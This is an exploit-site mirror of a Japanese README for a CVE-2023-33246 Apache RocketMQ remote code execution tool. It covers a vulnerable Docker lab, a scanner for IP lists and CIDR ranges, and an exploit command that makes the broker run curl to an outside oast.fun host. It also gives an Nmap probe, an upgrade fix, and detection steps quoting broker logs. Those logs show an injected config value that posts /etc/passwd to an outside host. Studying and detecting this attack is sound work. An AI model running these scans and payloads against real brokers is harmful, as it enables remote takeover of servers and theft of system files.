Sploitus

CVE-2023-33246_RocketMQ_RCE_EXPLOIT

kitploit · 2026-09-04

Exploit Code

MARKDOWN111 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MALAYKE-CVE-2023-33246_ROCKETMQ_RCE_EXPLOIT
![](https://assets.kitploit.com/production/public/readmes/37797/6bb583a173bcb781451019237938cce2b99c590baa83f50448cb87541b17598f.png)

# CVE-2023-33246 RocketMQ リモートコード実行エクスプロイト

CVE-2023-33246 RocketMQ リモートコード実行エクスプロイト

# 概要

RocketMQ は分散メッセージングおよびストリーミングプラットフォームです。

RocketMQ バージョン 5.1.0 以下は、任意のコードインジェクションに対して脆弱です。RocketMQ の Broker コンポーネントが外部ネットワークに公開されており、権限検証が欠如しています。攻撃者は設定更新機能を利用して、RocketMQ が実行されているシステムユーザーとしてコマンドを実行できます。さらに、攻撃者は RocketMQ プロトコルコンテンツを偽装することでも同じ効果を得ることができます。

# Docker によるローカル RocketMQ 環境のセットアップ

root@kitploit:~
    
    
    docker pull apache/rocketmq:4.9.4
    # Start nameserver
    docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
    # Start Broker
    docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
    
    

# 脆弱性を特定するための RocketMQ バージョン検出

root@kitploit:~
    
    
    usage: check.py [-h] [--ip IP] [--file FILE] [--port PORT] [--cidr CIDR]
    
    Check CVE-2023-33246 RocketMQ RCE vulnerability
    
    optional arguments:
      -h, --help   show this help message and exit
      --ip IP      A single IP address to check
      --file FILE  A file containing a list of IP addresses, one per line
      --port PORT  The port number to use when connecting to the server (default
                   is 9876)
      --cidr CIDR  A CIDR range to scan (e.g. 1.2.3.0/24)
    

* * *

## 使用例

root@kitploit:~
    
    
    python3 check.py --ip 127.0.0.1 --port 9876
    python3 check.py --cidr 192.168.1.0/24
    # or 
    python3 check.py --file rocketmq_targets.txt --port 9876
    # target in file format:
    # ip
    # ip:port
    # http://ip:port
    

# エクスプロイトの実行

**⚠️ 注意: このスクリプトには RocketMQ の設定を変更する機能を持つペイロードが含まれているため、本番環境で実行する際は十分に注意してください。**

root@kitploit:~
    
    
    python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test
    

# Nmap サービスプローブ

Nmap インストールディレクトリにある nmap-service-probes ファイルに以下の内容を追加してください。

root@kitploit:~
    
    
    ##############################NEXT PROBE##############################
    Probe TCP RocketMQ q|\x00\x00\x00\x64\x00\x00\x00\x60\x7b\x22\x63\x6f\x64\x65\x22\x3a\x32\x38\x2c\x22\x66\x6c\x61\x67\x22\x3a\x30\x2c\x22\x6c\x61\x6e\x67\x75\x61\x67\x65\x22\x3a\x22\x4a\x41\x56\x41\x22\x2c\x22\x6f\x70\x61\x71\x75\x65\x22\x3a\x30\x2c\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x54\x79\x70\x65\x43\x75\x72\x72\x65\x6e\x74\x52\x50\x43\x22\x3a\x22\x4a\x53\x4f\x4e\x22\x2c\x22\x76\x65\x72\x73\x69\x6f\x6e\x22\x3a\x34\x33\x33\x7d|
    ports 10911,11911,12911,13911
    rarity 8
    
    match RocketMQBroker m|"brokerVersionDesc":\s*"([^"]*)"| p/RocketMQ Broker/ v/$1/ cpe:/a:apache:rocketmq/
    

![alt text](https://raw.githubusercontent.com/malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/main/nmap-rocketmq-broker-detection.png?raw=true)

# 検出手順

RocketMQ Broker が侵害された場合、Broker ログに特定のパターンが現れることでその状況を確認できます。Broker ログは以下のようになります:

root@kitploit:~
    
    
    2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig called by 172.17.0.1:56412
    2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig, new config: [{filterServerNums=1, rocketmqHome=-c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;}] client: /172.17.0.1:56412 
    2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: filterServerNums, value: 0 -> 1
    2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: rocketmqHome, value: /home/rocketmq/rocketmq-4.9.4 -> -c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;
    

# 対策

org.apache.rocketmq:rocketmq-broker をバージョン 4.9.6、5.1.1 以上にアップグレードしてください。

# 参考リンク

  * Apache Lists
  * GitHub コミット
  * GitHub コミット
  * GitHub リリース